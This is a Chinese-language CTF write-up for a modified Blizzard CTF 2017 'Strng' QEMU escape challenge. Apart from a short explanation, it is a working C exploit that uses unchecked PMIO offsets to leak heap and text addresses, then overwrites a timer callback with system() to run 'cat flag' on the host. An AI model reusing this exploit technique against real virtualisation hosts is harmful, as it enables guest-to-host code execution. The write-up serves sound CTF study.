云安全

点击此处获得更好的阅读体验


Blizzard CTF 2017 Strng 魔改题,漏洞相同,仍然是pmio 地址没有校验的问题可以造成任意读写,只是把原来的函数指针改成了timer,通过读timer中的数据泄露地址,然后修改timer指针,触发timer,拿到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
include <assert.h>
include <fcntl.h>
include <inttypes.h>
include <stdio.h>
include <stdlib.h>
include <string.h>
include <sys/mman.h>
include <sys/types.h>
include <unistd.h>
include<sys/io.h>
unsigned char* mmio_mem;
uint32_t pmio_base=0xc050;
void die(const char* msg)
{
perror(msg);
exit(-1);
}
void mmio_write(uint32_t addr, uint32_t value)
{
*((uint32_t*)(mmio_mem + addr)) = value;
}
uint32_t mmio_read(uint32_t addr)
{
return *((uint32_t*)(mmio_mem + addr));
}
void pmio_write(uint32_t addr, uint32_t value)
{
outl(value,addr);
}
uint32_t pmio_read(uint32_t addr)
{
return (uint32_t)inl(addr);
}
uint32_t pmio_arbread(uint32_t offset)
{
pmio_write(pmio_base+0,offset);
return pmio_read(pmio_base+4);
}
void pmio_abwrite(uint32_t offset, uint32_t value)
{
pmio_write(pmio_base+0,offset);
pmio_write(pmio_base+4,value);
}
int main(int argc, char *argv[])
{
// Open and map I/O memory for the strng device
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
die("mmio_fd open failed");
mmio_mem = (char*)mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");
printf("mmio_mem @ %p\n", mmio_mem);
//mmio_write(12,0x6f6f722f);
//mmio_write(16,0x6c662f74);
//mmio_write(20,0x6761);
// Open and map I/O memory for the strng device
if (iopl(3) !=0 )
die("I/O permission is not enough");
// leak heap address
uint64_t timer_list_addr = pmio_arbread(0x10c);
timer_list_addr = timer_list_addr << 32;
timer_list_addr += pmio_arbread(0x108);
printf("[+] leak timer_list addr: 0x%lx\n", timer_list_addr);
// leak text addr
uint64_t cb_addr = pmio_arbread(0x114);
cb_addr = cb_addr << 32;
cb_addr += pmio_arbread(0x110);
uint64_t text_base = cb_addr - 0x29ac8e;
uint64_t system_addr = text_base + 0x200D50;
printf("[+] leak cb addr: 0x%lx\n", cb_addr);
printf("[+] text base: 0x%lx\n", text_base);
printf("[+] system addr: 0x%lx\n", system_addr);
// leak opaque addr
uint64_t opaque_addr = pmio_arbread(0x11c);
opaque_addr = opaque_addr << 32;
opaque_addr += pmio_arbread(0x118);
printf("[+] leak opaque addr: 0x%lx\n", opaque_addr);
// write parameter addr first
//pmio_abwrite(0x0, 0xffffffff);
uint64_t para_addr = opaque_addr + 0xb04;
pmio_abwrite(0x118, para_addr & 0xffffffff);
// set flag first and then overwrite timer func pointer and trigger timer
mmio_write(12,0x20746163); // 'cat '
mmio_write(16, 0x67616c66); // 'flag'
pmio_abwrite(0x110, system_addr & 0xffffffff);
printf("[+] flag: \n");
/*
// leaking libc address
uint64_t srandom_addr=pmio_arbread(0x108);
srandom_addr=srandom_addr<<32;
srandom_addr+=pmio_arbread(0x104);
printf("leaking srandom addr: 0x%lx\n",srandom_addr);
uint64_t libc_base= srandom_addr-0x43bb0;
uint64_t system_addr= libc_base+0x4f440;
printf("libc base: 0x%lx\n",libc_base);
printf("system addr: 0x%lx\n",system_addr);
// leaking heap address
uint64_t heap_addr=pmio_arbread(0x1d0);
heap_addr=heap_addr<<32;
heap_addr+=pmio_arbread(0x1cc);
printf("leaking heap addr: 0x%lx\n",heap_addr);
uint64_t para_addr=heap_addr+0x39c7c;
printf("parameter addr: 0xlx\n",para_addr);
// overwrite rand_r pointer to system
pmio_abwrite(0x114,system_addr&0xffffffff);
mmio_write(0xc,0);
*/
}